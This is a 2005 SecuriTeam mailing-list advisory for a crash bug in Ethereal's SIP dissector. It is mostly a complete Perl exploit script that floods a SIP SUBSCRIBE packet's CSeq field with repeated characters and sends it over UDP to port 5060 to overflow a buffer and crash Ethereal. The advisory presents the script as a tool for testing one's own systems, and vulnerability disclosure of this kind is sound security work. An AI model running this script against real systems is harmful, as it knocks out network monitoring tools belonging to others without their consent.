[EXPL] Ethereal SIP Dissector Overflow (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 05/08/05

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    To: list@securiteam.com
Date: 8 May 2005 17:57:00 +0200

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      Ethereal SIP Dissector Overflow (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article:
    <http://www.securiteam.com/securitynews/5IP082AFPA.html> Ethereal SIP
    Dissector Overflow, a vulnerability in Ethereal's SIP dissector allows
    attackers to cause Ethereal to crash by overflowing an internal buffer
    used by Ethereal when it tries to handle SIP related packets. The
    following exploit code can be used to test your system for the mentioned
    vulnerability.

    DETAILS

    Exploit:
    #!/usr/bin/perl -w
    # Exploit generated by beSTORM on 2005-05-08 17:49
    # All Rights Reserved - Copyright (tm)

    use IO::Socket;
    use strict;

    my $target = shift;
    my $print_usage = 0;
    my $repeated_type = "A";

    if (!$target)
    {
     usage();

     print "No target has been supplied, reverting to 192.168.1.52.\n";
     $target = "192.168.1.52";
    }

    my $repeating = shift;
    if (!$repeating )
    {
     usage();

     $repeating = 1000;
     print "Repeating has not been supplied, reverting to $repeating.\n";
    }

    my $attackerip = shift;
    if (!$attackerip)
    {
     usage();

     print "Attacker IP address has not been supplied, reverting to
    192.168.1.49.\n";
     $attackerip = "192.168.1.49";
    }

    my $attackedip = shift;
    if (!$attackedip)
    {
     usage();
     
     print "Contact IP address has not been supplied, reverting to
    192.168.1.3.\n";
     $attackedip = "192.168.1.3";
    }

    print "Will attack $target.\n";
    print "Attacker IP address defined as: $attackerip\n";
    print "Attacked IP address defined as: $attackedip\n";
    print "Will repeat '$repeated_type' $repeating times\n";

    my $repeated_data = ($repeated_type x $repeating);
    my $target_port = 5060;

    my $packet =<<END;
    SUBSCRIBE sip:username:password\@$attackerip SIP/2.0\r
    To: <sip:$attackedip:$target_port>\r
    Via: SIP/2.0/UDP $attackedip:3277\r
    From: "STORM"<sip:$attackedip:3277>\r
    Call-ID: 3121$attackedip\r
    CSeq: $repeated_data\r
    Max-Forwards: 70\r
    Contact: <sip:$attackerip:5059>\r
    \r
    END

    print "Sending: [$packet]\n";

    socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp"));

    my $ipaddr = inet_aton($target);
    my $sendto = sockaddr_in($target_port,$ipaddr);

    send(PING, $packet, 0, $sendto) == length($packet) or die "cannot send to
    $target : $target_port : $!\n";

    print "Done.\n";

    sub usage
    {
     if ($print_usage) { return; }
     $print_usage = 1;
     print ("#"x50);
     print "\n";
     print "# $0 [hostname] [repeater] [attackerip] [attackedip]\n";
     print "# hostname\t-\tThe host the packet will be sent to.\n";
     print "# repeater\t-\tThe number of times the character will be sent
    (repeated character $repeated_type).\n";
     print "# attackerip\t-\tThe IP address from which the packet should
    be\n";
     print "\t\t\taddressed from (doesn't have to be your IP address).\n";
     print "# attackedip\t-\tThe IP address that you are contacting\n";
     print "\t\t\t(doesn't have to be the hostname IP's address).\n";
     print "\n";
     print "Results may vary depending on how the remote host handles
    packets.\n";
     print "For example:\n";
     print " * Some SIP Proxies won't look into packets addressed to it
    (attackedip or attackerip).\n";
     print " * Some SIP Routers won't handle packets that aren't addressed to
    it.\n";
     print "etc\n";
     print "\n";
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:storm@beyondsecurity.com>
    beSTORM.

    ========================================

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    ====================
    ====================

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